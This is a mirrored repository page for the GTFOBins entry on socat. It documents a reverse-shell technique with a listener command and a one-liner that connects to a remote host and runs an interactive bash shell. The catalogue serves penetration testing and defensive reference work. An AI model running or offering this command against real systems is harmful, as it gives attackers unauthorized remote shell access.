1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-20 10:53:35 +02:00
GTFOBins.github.io/_gtfobins/socat.md
Emilio Pinna 43b68e46b1 Add socat
2018-05-22 21:40:27 +01:00

297 B

functions
reverse-shell
description code
Run <code>socat file:`tty`,raw,echo=0 tcp-listen:8000</code> to receive the shell on the other end. RHOST=10.0.0.1 RPORT=8000 socat tcp-connect:$RHOST:$RPORT exec:"bash -li",pty,stderr,setsid,sigint,sane